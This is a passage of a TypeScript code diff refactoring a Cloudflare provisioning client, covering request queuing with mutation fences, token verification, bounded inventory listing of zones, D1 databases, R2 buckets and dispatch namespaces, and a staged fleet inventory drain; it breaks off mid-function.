+      inventoryClient: this.#inventoryProofClient,
+      versionInventoryClient: inventoryProofClient('items'),
+      schedule: (operation) => this.#schedule(operation),
+      collectBounded: (iterable, label, max) =>
+        this.#collectBounded(iterable, label, max),
+      withMutationFence: (fence, operation) =>
+        this.withMutationFence(fence, operation),
+      workerRouteZoneIds: () => this.#workerRouteZoneIds(),
+    };
+    this.#attachmentScan = {
+      accountId: this.#accountId,
+      client: this.#client,
+      dispatchNamespace: this.#dispatchNamespace,
+      requestDispatchScriptPage: async ({
+        namespace,
+        cursor,
+        perPage,
+        signal,
+      }) => {
+        const url = new URL(
+          `https://api.cloudflare.com/client/v4/accounts/${encodeURIComponent(this.#accountId)}/workers/dispatch/namespaces/${encodeURIComponent(namespace)}/scripts`,
+        );
+        url.searchParams.set('per_page', String(perPage));
+        if (cursor) url.searchParams.set('cursor', cursor);
+        const response = await this.#request(url, {
+          headers: { authorization: `Bearer ${this.#apiToken}` },
+          signal,
+        });
+        // This caller reads the raw response, so by the rule at
+        // refuseRedirectStatus the refusal belongs here rather than in
+        // #request.
+        refuseRedirectStatus(response, 'Cloudflare dispatch script listing');
+        return response;
+      },
+    };
+  }
+
+  /** Configured provider request timeout in milliseconds. */
+  get requestTimeoutMs(): number {
+    return this.#requestTimeoutMs;
   }
 
   async #request(
@@ -493,13 +874,20 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     const method = (
       init?.method ?? (input instanceof Request ? input.method : 'GET')
     ).toUpperCase();
+    const mutation = method !== 'GET' && method !== 'HEAD';
+    // These reads are deliberately redundant with the request-queue binding
+    // for explicit call-time capture. The binding stays required for consumer
+    // callbacks (injected fetch, assertOwned, and acquire); the 'runs a queued
+    // request under its enqueuer context' case in
+    // test/cloudflare-client-plain-worker.test.ts pins it.
     const fence = this.#mutationFence.getStore();
+    const tracker = this.#dispatchTracker.getStore();
     const signal =
       init?.signal ?? (input instanceof Request ? input.signal : undefined);
     const response = await this.#requestQueue.add(
-      async () => {
+      this.#inEnqueuerContext(async () => {
         await this.#rateCoordinator.acquire(signal);
-        if (method !== 'GET' && method !== 'HEAD') {
+        if (mutation) {
           if (!fence) {
             throw new Error(
               `Cloudflare ${method} request requires an external mutation fence`,
@@ -508,13 +896,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
           await fence.assertOwned();
         }
         const timeoutSignal = AbortSignal.timeout(this.#requestTimeoutMs);
+        // Mark only after quota and fence checks. The SDK's `data:` FormData
+        // probe is a GET, so it neither asserts nor marks.
+        if (mutation && tracker) tracker.dispatched = true;
         return this.#fetch(input, {
           ...init,
           signal: signal
             ? AbortSignal.any([signal, timeoutSignal])
             : timeoutSignal,
         });
-      },
+      }),
       { signal },
     );
     if (!response) {
@@ -524,7 +915,52 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   }
 
   async #schedule<T>(operation: () => Promise<T>): Promise<T> {
-    return (await this.#operationQueue.add(operation)) as T;
+    return (await this.#operationQueue.add(
+      this.#inEnqueuerContext(operation),
+    )) as T;
+  }
+
+  #inEnqueuerContext<T>(operation: () => Promise<T>): () => Promise<T> {
+    // p-queue starts a deferred task from the previous task's microtask, so a
+    // bare callback would run under the previous operation's context. The
+    // operation queue's hop precedes every read in #request; the request
+    // queue's hop runs consumer callbacks that must observe their operation.
+    const run = AsyncLocalStorage.snapshot();
+    return () => run(operation);
+  }
+
+  async #trackDispatch<T>(operation: () => Promise<T>): Promise<T> {
+    const tracker = { dispatched: false };
+    try {
+      return await this.#dispatchTracker.run(tracker, operation);
+    } catch (error) {
+      if (!tracker.dispatched) {
+        throw new CloudflareProviderRequestNotDispatchedError(error);
+      }
+      throw error;
+    }
+  }
+
+  async *#collectBounded<T>(
+    iterable: AsyncIterable<T> | Iterable<T>,
+    label: string,
+    max = CLOUDFLARE_INVENTORY_BOUND,
+  ): AsyncGenerator<T> {
+    let count = 0;
+    for await (const item of iterable) {
+      count += 1;
+      if (count > max) {
+        throw inventoryBoundExceeded(label, max);
+      }
+      yield item;
+    }
+  }
+
+  #requireDispatchNamespace(operation: string): string {
+    if (this.#dispatchNamespace === undefined) {
+      throw new CloudflarePlaneCapabilityError(operation);
+    }
+    return this.#dispatchNamespace;
   }
 
   async withMutationFence<T>(
@@ -546,28 +982,48 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   }
 
   async #workerRouteZoneIds(): Promise<readonly string[]> {
-    const verification = await this.#client.user.tokens.verify();
-    if (verification.status !== 'active') {
-      throw new Error('Cloudflare API token is not active');
-    }
     let token:
       | Awaited<ReturnType<CloudflareSdk['user']['tokens']['get']>>
       | undefined;
-    try {
-      token = await this.#client.accounts.tokens.get(verification.id, {
-        account_id: this.#accountId,
-      });
-    } catch {
+    for (const family of ['account', 'user'] as const) {
       try {
-        token = await this.#client.user.tokens.get(verification.id);
-      } catch {
-        throw new Error(
-          'Cloudflare API token policy is unavailable; API Tokens Read is required for account-wide zone attestation',
-        );
+        const verification =
+          family === 'account'
+            ? await this.#client.accounts.tokens.verify({
+                account_id: this.#accountId,
+              })
+            : await this.#client.user.tokens.verify();
+        if (verification.status !== 'active') {
+          throw new Error('Cloudflare API token is not active');
+        }
+        try {
+          token =
+            family === 'account'
+              ? await this.#client.accounts.tokens.get(verification.id, {
+                  account_id: this.#accountId,
+                })
+              : await this.#client.user.tokens.get(verification.id);
+        } catch (error) {
+          if (family === 'account') throw error;
+          throw new Error(
+            'Cloudflare API token policy is unavailable; API Tokens Read is required for account-wide zone attestation',
+          );
+        }
+        break;
+      } catch (error) {
+        if (
+          family === 'account' &&
+          error instanceof Cloudflare.APIError &&
+          ([401, 403, 404, 405, 429].includes(error.status) ||
+            (error.status >= 500 && error.status <= 599))
+        ) {
+          continue;
+        }
+        throw error;
       }
     }
     if (
-      token.status !== 'active' ||
+      token?.status !== 'active' ||
       !token.policies ||
       token.policies.length === 0
     ) {
@@ -581,11 +1037,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     });
     const zoneIds: string[] = [];
     const seenZoneIds = new Set<string>();
-    for await (const zone of this.#client.zones.list({
-      account: { id: this.#accountId },
-      per_page: 50,
-      type: ['full', 'partial', 'secondary', 'internal'],
-    })) {
+    for await (const zone of this.#collectBounded(
+      this.#inventoryProofClient.zones.list({
+        account: { id: this.#accountId },
+        per_page: 50,
+      }),
+      'zone inventory',
+    )) {
       if (zone.account.id !== this.#accountId) {
         throw new Error(
           `Cloudflare returned zone '${zone.id}' outside account '${this.#accountId}'`,
@@ -596,6 +1054,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
           'Cloudflare account-wide zone discovery returned incomplete or duplicate zone metadata',
         );
       }
+      if (typeof zone.type !== 'string') {
+        throw new Error(
+          'Cloudflare account-wide zone discovery returned incomplete zone type metadata',
+        );
+      }
+      if (!WORKER_ROUTE_ZONE_TYPES.some((type) => type === zone.type)) continue;
       seenZoneIds.add(zone.id);
       zoneIds.push(zone.id);
     }
@@ -606,13 +1070,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     accountId: string;
     dispatchNamespace: string;
   }> {
+    const dispatchNamespace =
+      this.#requireDispatchNamespace('platformPlaneScope');
     return {
       accountId: this.#accountId,
-      dispatchNamespace: this.#dispatchNamespace,
+      dispatchNamespace,
     };
   }
 
-  async #assertUntrustedDispatchNamespace(): Promise<
+  async #assertUntrustedDispatchNamespace(dispatchNamespace: string): Promise<
     Readonly<{
       name: string;
       namespaceId?: string;
@@ -622,15 +1088,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   > {
     const namespace =
       await this.#client.workersForPlatforms.dispatch.namespaces.get(
-        this.#dispatchNamespace,
+        dispatchNamespace,
         { account_id: this.#accountId },
       );
     if (
-      namespace.namespace_name !== this.#dispatchNamespace ||
+      namespace.namespace_name !== dispatchNamespace ||
       namespace.trusted_workers !== false
     ) {
       throw new Error(
-        `dispatch namespace '${this.#dispatchNamespace}' must attest trusted_workers=false`,
+        `dispatch namespace '${dispatchNamespace}' must attest trusted_workers=false`,
       );
     }
     if (
@@ -639,7 +1105,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       namespace.script_count < 0
     ) {
       throw new Error(
-        `dispatch namespace '${this.#dispatchNamespace}' returned no valid script_count`,
+        `dispatch namespace '${dispatchNamespace}' returned no valid script_count`,
       );
     }
     return {
@@ -653,11 +1119,34 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   }
 
   async assertUntrustedDispatchNamespace(): Promise<void> {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'assertUntrustedDispatchNamespace',
+    );
     await this.#schedule(async () => {
-      await this.#assertUntrustedDispatchNamespace();
+      await this.#assertUntrustedDispatchNamespace(dispatchNamespace);
     });
   }
 
+  async advanceDecommissionAttachmentScan(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<DecommissionAttachmentScanResult> {
+    try {
+      const chunk = await scanProviderAttachments(this, {
+        target: input.progress.target,
+        progress: input.progress,
+        maxProviderRequests: input.maxProviderRequests,
+        signal: input.signal,
+        stopOnFirstAttachment: true,
+      });
+      return mapDecommissionAttachmentScanChunk(chunk);
+    } catch (error) {
+      if (error instanceof CloudflareAttachmentScanDriftError) {
+        return { status: 'drift' };
+      }
+      throw error;
+    }
+  }
+
   async listWorkerDatabaseAttachments(databaseId: string): Promise<
     readonly Readonly<{
       scriptName: string;
@@ -665,227 +1154,47 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       dispatchNamespace?: string;
     }>[]
   > {
-    const attachments: Array<{
+    return listAllWorkerAttachments(this.#attachmentScan, {
+      kind: 'd1',
+      databaseId,
+    });
+  }
+
+  async listWorkerR2Attachments(bucketName: string): Promise<
+    readonly Readonly<{
       scriptName: string;
       plane: 'ordinary' | 'dispatch';
       dispatchNamespace?: string;
-    }> = [];
-    const attachmentKeys = new Set<string>();
-    const addAttachment = (
-      scriptName: string,
-      plane: 'ordinary' | 'dispatch',
-      dispatchNamespace?: string,
-    ): void => {
-      const key = `${plane}:${dispatchNamespace ?? ''}:${scriptName}`;
-      if (attachmentKeys.has(key)) return;
-      attachmentKeys.add(key);
-      attachments.push({
-        scriptName,
-        plane,
-        ...(dispatchNamespace ? { dispatchNamespace } : {}),
-      });
-    };
-    for await (const script of this.#client.workers.scripts.list({
-      account_id: this.#accountId,
-    })) {
-      if (typeof script.id !== 'string' || script.id.length === 0) {
-        throw new Error(
-          'Cloudflare ordinary Worker listing contained a script without an id',
-        );
-      }
-      const deployments = await this.#client.workers.scripts.deployments.list(
-        script.id,
-        {
+    }>[]
+  > {
+    return listAllWorkerAttachments(this.#attachmentScan, {
+      kind: 'r2',
+      bucketName,
+    });
+  }
+
+  async getR2Bucket(
+    bucketName: string,
+    jurisdiction: import('./types.js').R2Jurisdiction,
+  ): Promise<import('./types.js').ApplicationR2BucketSnapshot | undefined> {
+    return this.#schedule(async () => {
+      try {
+        const bucket = await this.#client.r2.buckets.get(bucketName, {
           account_id: this.#accountId,
-        },
-      );
-      const active = deployments.deployments[0];
-      if (!active) continue;
-      if (!Array.isArray(active.versions) || active.versions.length === 0) {
-        throw new Error(
-          `Cloudflare current deployment for ordinary Worker '${script.id}' had no versions`,
-        );
-      }
-      let hasLiveVersion = false;
-      const currentVersions = active.versions.map((deployedVersion) => {
+          jurisdiction,
+        });
         if (
-          typeof deployedVersion.percentage !== 'number' ||
-          !Number.isFinite(deployedVersion.percentage) ||
-          deployedVersion.percentage < 0 ||
-          deployedVersion.percentage > 100 ||
-          typeof deployedVersion.version_id !== 'string' ||
-          deployedVersion.version_id.length === 0
+          bucket.name !== bucketName ||
+          (bucket.jurisdiction !== undefined &&
+            bucket.jurisdiction !== jurisdiction)
         ) {
           throw new Error(
-            `Cloudflare current deployment for ordinary Worker '${script.id}' had malformed version metadata`,
+            `R2 returned incomplete metadata for '${bucketName}'`,
           );
         }
-        if (deployedVersion.percentage > 0) hasLiveVersion = true;
-        return deployedVersion;
-      });
-      if (!hasLiveVersion) {
-        throw new Error(
-          `Cloudflare current deployment for ordinary Worker '${script.id}' had no live versions`,
-        );
-      }
-      for (const deployedVersion of currentVersions) {
-        const version = await this.#client.workers.scripts.versions.get(
-          deployedVersion.version_id,
-          { account_id: this.#accountId, script_name: script.id },
-        );
         if (
-          (version.resources.bindings ?? []).some(
-            (binding) =>
-              binding.type === 'd1' && binding.database_id === databaseId,
-          )
-        ) {
-          addAttachment(script.id, 'ordinary');
-          break;
-        }
-      }
-    }
-    for await (const namespace of this.#client.workersForPlatforms.dispatch.namespaces.list(
-      { account_id: this.#accountId },
-    )) {
-      if (
-        typeof namespace.namespace_name !== 'string' ||
-        namespace.namespace_name.length === 0
-      ) {
-        throw new Error(
-          'Cloudflare dispatch namespace listing contained an unidentified namespace',
-        );
-      }
-      for (const script of await this.#dispatchScripts(
-        namespace.namespace_name,
-      )) {
-        const settings =
-          await this.#client.workersForPlatforms.dispatch.namespaces.scripts.settings.get(
-            script.id,
-            {
-              account_id: this.#accountId,
-              dispatch_namespace: namespace.namespace_name,
-            },
-          );
-        if (
-          (settings.bindings ?? []).some(
-            (binding) =>
-              binding.type === 'd1' && binding.database_id === databaseId,
-          )
-        ) {
-          addAttachment(script.id, 'dispatch', namespace.namespace_name);
-        }
-      }
-    }
-    return attachments.sort((left, right) =>
-      `${left.plane}:${left.dispatchNamespace ?? ''}:${left.scriptName}`.localeCompare(
-        `${right.plane}:${right.dispatchNamespace ?? ''}:${right.scriptName}`,
-      ),
-    );
-  }
-
-  async listWorkerR2Attachments(bucketName: string): Promise<
-    readonly Readonly<{
-      scriptName: string;
-      plane: 'ordinary' | 'dispatch';
-      dispatchNamespace?: string;
-    }>[]
-  > {
-    const attachments: Array<{
-      scriptName: string;
-      plane: 'ordinary' | 'dispatch';
-      dispatchNamespace?: string;
-    }> = [];
-    for await (const script of this.#client.workers.scripts.list({
-      account_id: this.#accountId,
-    })) {
-      if (!script.id) throw new Error('ordinary Worker has no id');
-      const deployments = await this.#client.workers.scripts.deployments.list(
-        script.id,
-        { account_id: this.#accountId },
-      );
-      for (const deployed of deployments.deployments[0]?.versions ?? []) {
-        if (!deployed.version_id) {
-          throw new Error(
-            `ordinary Worker '${script.id}' has a malformed version`,
-          );
-        }
-        const version = await this.#client.workers.scripts.versions.get(
-          deployed.version_id,
-          { account_id: this.#accountId, script_name: script.id },
-        );
-        if (
-          (version.resources.bindings ?? []).some(
-            (binding) =>
-              binding.type === 'r2_bucket' &&
-              binding.bucket_name === bucketName,
-          )
-        ) {
-          attachments.push({ scriptName: script.id, plane: 'ordinary' });
-          break;
-        }
-      }
-    }
-    for await (const namespace of this.#client.workersForPlatforms.dispatch.namespaces.list(
-      { account_id: this.#accountId },
-    )) {
-      if (!namespace.namespace_name) {
-        throw new Error('dispatch namespace has no name');
-      }
-      for (const script of await this.#dispatchScripts(
-        namespace.namespace_name,
-      )) {
-        const settings =
-          await this.#client.workersForPlatforms.dispatch.namespaces.scripts.settings.get(
-            script.id,
-            {
-              account_id: this.#accountId,
-              dispatch_namespace: namespace.namespace_name,
-            },
-          );
-        if (
-          (settings.bindings ?? []).some(
-            (binding) =>
-              binding.type === 'r2_bucket' &&
-              binding.bucket_name === bucketName,
-          )
-        ) {
-          attachments.push({
-            scriptName: script.id,
-            plane: 'dispatch',
-            dispatchNamespace: namespace.namespace_name,
-          });
-        }
-      }
-    }
-    return attachments.sort((left, right) =>
-      `${left.plane}:${left.dispatchNamespace ?? ''}:${left.scriptName}`.localeCompare(
-        `${right.plane}:${right.dispatchNamespace ?? ''}:${right.scriptName}`,
-      ),
-    );
-  }
-
-  async getR2Bucket(
-    bucketName: string,
-    jurisdiction: import('./types.js').R2Jurisdiction,
-  ): Promise<import('./types.js').ApplicationR2BucketSnapshot | undefined> {
-    return this.#schedule(async () => {
-      try {
-        const bucket = await this.#client.r2.buckets.get(bucketName, {
-          account_id: this.#accountId,
-          jurisdiction,
-        });
-        if (
-          bucket.name !== bucketName ||
-          (bucket.jurisdiction !== undefined &&
-            bucket.jurisdiction !== jurisdiction)
-        ) {
-          throw new Error(
-            `R2 returned incomplete metadata for '${bucketName}'`,
-          );
-        }
-        if (
-          !bucket.creation_date ||
-          !Number.isFinite(Date.parse(bucket.creation_date))
+          !bucket.creation_date ||
+          !Number.isFinite(Date.parse(bucket.creation_date))
         ) {
           throw new Error(
             `R2 bucket '${bucketName}' has no valid creation date`,
@@ -898,14 +1207,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
           creationDate: new Date(bucket.creation_date).toISOString(),
         };
       } catch (error) {
-        if (
-          error &&
-          typeof error === 'object' &&
-          'status' in error &&
-          error.status === 404
-        ) {
-          return undefined;
-        }
+        if (isNotFound(error)) return undefined;
         throw error;
       }
     });
@@ -930,17 +1232,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     resource: import('./types.js').ApplicationR2Binding,
   ): Promise<void> {
     await this.#schedule(async () => {
-      for await (const object of this.#client.r2.buckets.objects.list(
-        resource.bucketName,
-        {
-          account_id: this.#accountId,
-          jurisdiction: resource.jurisdiction,
-          per_page: 1,
-        },
+      for await (const _object of this.#collectBounded(
+        this.#inventoryProofClient.r2.buckets.objects.list(
+          resource.bucketName,
+          {
+            account_id: this.#accountId,
+            jurisdiction: resource.jurisdiction,
+            per_page: 1,
+          },
+        ),
+        'R2 object inventory',
       )) {
-        if (object.key) {
-          throw new Error(`R2 bucket '${resource.bucketName}' is not empty`);
-        }
+        throw new Error(`R2 bucket '${resource.bucketName}' is not empty`);
       }
     });
   }
@@ -962,125 +1265,93 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   async listOrdinaryWorkerSecretNames(
     scriptName: string,
   ): Promise<readonly string[]> {
-    return this.#schedule(() => this.#ordinaryWorkerSecretNames(scriptName));
+    return listOrdinaryWorkerSecretNames(this.#ordinary, scriptName);
   }
 
-  async #ordinaryWorkerSecretNames(scriptName: string): Promise<string[]> {
-    const names: string[] = [];
-    try {
-      for await (const secret of this.#client.workers.scripts.secrets.list(
-        scriptName,
-        { account_id: this.#accountId },
-      )) {
-        if (!secret.name) {
-          throw new Error(
-            `ordinary Worker '${scriptName}' returned a secret without a name`,
-          );
-        }
-        names.push(secret.name);
-      }
-    } catch (error) {
-      if (isNotFound(error)) return [];
-      throw error;
-    }
-    return names.sort();
-  }
-
-  async #dispatchScripts(
-    dispatchNamespace = this.#dispatchNamespace,
-  ): Promise<readonly Readonly<{ id: string; tags: readonly string[] }>[]> {
-    const scripts: Array<Readonly<{ id: string; tags: readonly string[] }>> =
-      [];
-    let cursor: string | undefined;
-    const seenCursors = new Set<string>();
-    do {
-      const url = new URL(
-        `https://api.cloudflare.com/client/v4/accounts/${encodeURIComponent(this.#accountId)}/workers/dispatch/namespaces/${encodeURIComponent(dispatchNamespace)}/scripts`,
-      );
-      url.searchParams.set('per_page', '1000');
-      if (cursor) url.searchParams.set('cursor', cursor);
-      let response: Response | undefined;
-      for (let attempt = 0; attempt < 3; attempt += 1) {
-        response = await this.#request(url, {
-          headers: { authorization: `Bearer ${this.#apiToken}` },
-        });
-        if (response.status !== 429 && response.status < 500) break;
-      }
-      if (!response?.ok) {
-        throw new Error(
-          `Cloudflare dispatch script listing failed with status ${response?.status ?? 'unknown'}`,
-        );
-      }
-      const payload: unknown = await response.json();
-      if (!payload || typeof payload !== 'object' || !('result' in payload)) {
-        throw new Error('Cloudflare dispatch script listing was malformed');
-      }
-      const result = payload.result;
-      if (!Array.isArray(result)) {
-        throw new Error(
-          'Cloudflare dispatch script listing had no result array',
-        );
-      }
-      for (const item of result) {
-        if (!item || typeof item !== 'object' || !('id' in item)) {
-          throw new Error(
-            'Cloudflare dispatch script listing contained an invalid item',
-          );
-        }
-        const id = item.id;
-        const tags = 'tags' in item ? item.tags : undefined;
-        if (
-          typeof id !== 'string' ||
-          id.length === 0 ||
-          (tags !== undefined &&
-            (!Array.isArray(tags) ||
-              !tags.every((tag) => typeof tag === 'string')))
-        ) {
-          throw new Error(
-            'Cloudflare dispatch script listing contained malformed script metadata',
-          );
-        }
-        scripts.push({ id, tags: (tags as string[] | undefined) ?? [] });
-      }
-      const resultInfo =
-        'result_info' in payload &&
-        payload.result_info &&
-        typeof payload.result_info === 'object'
-          ? payload.result_info
-          : undefined;
-      const cursors =
-        resultInfo && 'cursors' in resultInfo && resultInfo.cursors
-          ? resultInfo.cursors
-          : undefined;
-      const nextCursor =
-        resultInfo && 'cursor' in resultInfo
-          ? resultInfo.cursor
-          : cursors && typeof cursors === 'object' && 'after' in cursors
-            ? cursors.after
-            : undefined;
-      cursor =
-        typeof nextCursor === 'string' && nextCursor ? nextCursor : undefined;
-      if (cursor) {
-        if (seenCursors.has(cursor)) {
-          throw new Error(
-            'Cloudflare dispatch script listing repeated a cursor',
-          );
-        }
-        seenCursors.add(cursor);
-      }
-    } while (cursor);
-    return scripts;
+  async listOrdinaryWorkerDatabases(
+    filter?: Readonly<{ name?: string }>,
+  ): Promise<readonly PlainWorkerDatabaseInventoryEntry[]> {
+    return listOrdinaryWorkerDatabases(this.#ordinary, filter);
+  }
+
+  async ordinaryWorkerDeploymentStatus(
+    scriptName: string,
+  ): Promise<PlainWorkerDeploymentStatus | undefined> {
+    return ordinaryWorkerDeploymentStatus(this.#ordinary, scriptName);
+  }
+
+  async listOrdinaryWorkerVersions(
+    scriptName: string,
+  ): Promise<readonly PlainWorkerVersionSummary[] | undefined> {
+    return listOrdinaryWorkerVersions(this.#ordinary, scriptName);
+  }
+
+  async viewOrdinaryWorkerVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail> {
+    return viewOrdinaryWorkerVersion(this.#ordinary, scriptName, versionId);
+  }
+
+  async findOrdinaryWorkerVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail | undefined> {
+    return findOrdinaryWorkerVersion(this.#ordinary, scriptName, versionId);
+  }
+
+  async prepareOrdinaryWorkerUpload(
+    intent: PlainWorkerUploadIntent,
+  ): Promise<PreparedOrdinaryWorkerUpload> {
+    return prepareOrdinaryWorkerUpload(intent);
+  }
+
+  async dispatchOrdinaryWorkerUpload(
+    prepared: PreparedOrdinaryWorkerUpload,
+  ): Promise<void> {
+    return dispatchOrdinaryWorkerUpload(this.#ordinary, prepared);
+  }
+
+  prepareOrdinaryWorkerDeployment(
+    versions: readonly OrdinaryWorkerDeploymentVersion[],
+  ): PreparedOrdinaryWorkerDeploymentVersions {
+    return prepareOrdinaryWorkerDeployment(versions);
+  }
+
+  async dispatchOrdinaryWorkerDeployment(
+    scriptName: string,
+    versions: PreparedOrdinaryWorkerDeploymentVersions,
+  ): Promise<void> {
+    return dispatchOrdinaryWorkerDeployment(
+      this.#ordinary,
+      scriptName,
+      versions,
+    );
+  }
+
+  async deleteOrdinaryWorkerScript(
+    scriptName: string,
+  ): Promise<'deleted' | 'absent'> {
+    return deleteOrdinaryWorkerScript(this.#ordinary, scriptName);
   }
 
   async findDatabase(name: string): Promise<DatabaseReference | undefined> {
     return this.#schedule(async () => {
       const matches: DatabaseReference[] = [];
-      for await (const database of this.#client.d1.database.list({
-        account_id: this.#accountId,
-        name,
-      })) {
-        if (database.name === name && database.uuid) {
-          matches.push({ id: database.uuid, name, created: false });
+      for await (const database of this.#collectBounded(
+        this.#inventoryProofClient.d1.database.list({
+          account_id: this.#accountId,
+          name,
+        }),
+        'D1 database inventory',
+        MAX_DATABASE_INVENTORY,
+      )) {
+        const id = readStringField(database, 'uuid');
+        const databaseName = readStringField(database, 'name');
+        if (!id || !databaseName)
+          throw new Error('D1 database inventory has an invalid uuid or name');
+        if (databaseName === name) {
+          matches.push({ id, name, created: false });
         }
       }
       if (matches.length > 1) {
@@ -1116,12 +1387,23 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
   }
 
   async ensureDispatchNamespace(): Promise<void> {
+    const dispatchNamespace = this.#requireDispatchNamespace(
+      'ensureDispatchNamespace',
+    );
     await this.#schedule(async () => {
       let found = false;
-      for await (const namespace of this.#client.workersForPlatforms.dispatch.namespaces.list(
-        { account_id: this.#accountId },
+      for await (const namespace of this.#collectBounded(
+        this.#inventoryProofClient.workersForPlatforms.dispatch.namespaces.list(
+          {
+            account_id: this.#accountId,
+          },
+        ),
+        'dispatch namespace inventory',
       )) {
-        if (namespace.namespace_name === this.#dispatchNamespace) {
+        const name = readStringField(namespace, 'namespace_name');
+        if (!name)
+          throw new Error('dispatch namespace inventory has an invalid name');
+        if (name === dispatchNamespace) {
           found = true;
           break;
         }
@@ -1129,10 +1411,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
       if (!found) {
         await this.#client.workersForPlatforms.dispatch.namespaces.create({
           account_id: this.#accountId,
-          name: this.#dispatchNamespace,
+          name: dispatchNamespace,
         });
       }
-      await this.#assertUntrustedDispatchNamespace();
+      await this.#assertUntrustedDispatchNamespace(dispatchNamespace);
     });
   }
 
@@ -1319,728 +1601,343 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     });
   }
 
-  async collectFleetInventory(options: {
-    readonly hostRoutingKvId?: string;
-    readonly databaseNamePrefix: string;
-    readonly scriptNamePrefix: string;
-    readonly includeDispatchNamespace?: boolean;
-    readonly includeR2Buckets?: boolean;
-  }): Promise<FleetResourceInventory> {
+  /**
+   * Drains the bounded account inventory engine in memory: one stage chunk per
+   * iteration over a call-local accumulator, with no durable run, no
+   * continuation token, and no account lease. Observable behavior — provider
+   * encounter order, finding vocabulary, finding order, and result bytes — is
+   * unchanged and pinned by the frozen golden baseline.
+   */
+  async collectFleetInventory(
+    options: CollectFleetInventoryOptions,
+  ): Promise<FleetResourceInventory> {
     if (!options.databaseNamePrefix || !options.scriptNamePrefix) {
       throw new Error(
         'databaseNamePrefix and scriptNamePrefix are required for fleet inventory',
       );
     }
-    const findings: FleetResourceInventory['findings'][number][] = [];
-    const registrations: Array<
-      ScriptInventoryTarget & { readonly keyOwned: boolean }
-    > = [];
-    const routes: FleetResourceInventory['routes'][number][] = [];
-    if (options.hostRoutingKvId) {
-      for await (const key of this.#client.kv.namespaces.keys.list(
-        options.hostRoutingKvId,
-        { account_id: this.#accountId },
-      )) {
-        if (!key.name) continue;
-        const isRegistration = key.name.startsWith(SCRIPT_INVENTORY_PREFIX);
-        const registeredName = isRegistration
-          ? key.name.slice(SCRIPT_INVENTORY_PREFIX.length)
-          : undefined;
-        const serialized = await this.#readHostRouting(
-          options.hostRoutingKvId,
-          key.name,
-        );
-        if (serialized === undefined) {
-          findings.push({
-            tenantTag: 'unknown',
-            environment: 'unknown',
-            kind: isRegistration ? 'stale-script-registration' : 'stale-route',
-            detail: `fleet inventory key '${key.name}' disappeared while it was being read`,
-          });
-          continue;
-        }
-        let value: unknown;
-        try {
-          value = JSON.parse(serialized);
-        } catch {
-          findings.push({
-            tenantTag: 'unknown',
-            environment: 'unknown',
-            kind: isRegistration
-              ? 'malformed-script-registration'
-              : 'malformed-route',
-            detail: `fleet inventory key '${key.name}' is not valid JSON`,
-          });
-          continue;
-        }
-        if (!value || typeof value !== 'object') {
-          findings.push({
-            tenantTag: 'unknown',
-            environment: 'unknown',
-            kind: isRegistration
-              ? 'malformed-script-registration'
-              : 'malformed-route',
-            detail: `fleet inventory key '${key.name}' is not an object`,
-          });
-          continue;
-        }
-        const candidate = value as Record<string, unknown>;
-        if (isRegistration) {
-          if (
-            typeof candidate.scriptName !== 'string' ||
-            typeof candidate.tenantTag !== 'string' ||
-            typeof candidate.environment !== 'string' ||
-            typeof candidate.databaseId !== 'string' ||
-            typeof candidate.routeHostname !== 'string'
-          ) {
-            findings.push({
-              tenantTag:
-                typeof candidate.tenantTag === 'string'
-                  ? candidate.tenantTag
-                  : 'unknown',
-              environment:
-                typeof candidate.environment === 'string'
-                  ? candidate.environment
-                  : 'unknown',
-              kind: 'malformed-script-registration',
-              detail: `script inventory key '${key.name}' has incomplete ownership metadata`,
+    const runOptions = canonicalFleetInventoryRunOptions(options);
+    const context = this.#fleetInventoryContext();
+    const rows: FleetInventoryStagedRow[] = [];
+    const facts: FleetInventoryStagedFact[] = [];
+    let progress = initialFleetInventoryProgress(
+      initialFleetInventoryStage(runOptions),
+      DRAIN_GENERATION,
+    );
+    while (progress.stage.step !== 'finalize') {
+      const executed = progress.stage;
+      const result = await context.advanceStage({
+        stage: executed,
+        options: runOptions,
+        progress,
+        maxProviderRequests: DRAIN_PROVIDER_REQUEST_BUDGET,
+      });
+      rows.push(...drainFindingRows(result));
+      facts.push(...result.facts);
+      progress = advanceFleetInventoryProgress(progress, executed, result);
+    }
+    return materializeFleetInventoryGeneration({
+      rows,
+      facts,
+      options: runOptions,
+    });
+  }
+
+  /**
+   * Builds the narrow provider seam the bounded inventory engine drives. Stages
+   * are stateless and re-read their prerequisites, so every listing is memoized
+   * for the lifetime of ONE context; without that the in-memory drain would
+   * repeat provider requests the frozen baseline pins.
+   */
+  #fleetInventoryDeps(): CloudflareFleetInventoryDeps {
+    const pending = new Map<string, Promise<unknown>>();
+    /** Caches one provider listing for the lifetime of a single context, which
+     * is one bounded run or one `collectFleetInventory` call. */
+    const memoizePerContext = <Value>(
+      key: string,
+      compute: () => Promise<Value>,
+    ): Promise<Value> => {
+      const existing = pending.get(key);
+      if (existing !== undefined) return existing as Promise<Value>;
+      const started = compute();
+      pending.set(key, started);
+      return started;
+    };
+    const dispatchPages = new Map<string, Response>();
+    const attachmentScan: CloudflareWorkerAttachmentScanContext = {
+      ...this.#attachmentScan,
+      requestDispatchScriptPage: async (input) => {
+        const key = `${input.namespace}\u0000${input.cursor ?? ''}\u0000${input.perPage}`;
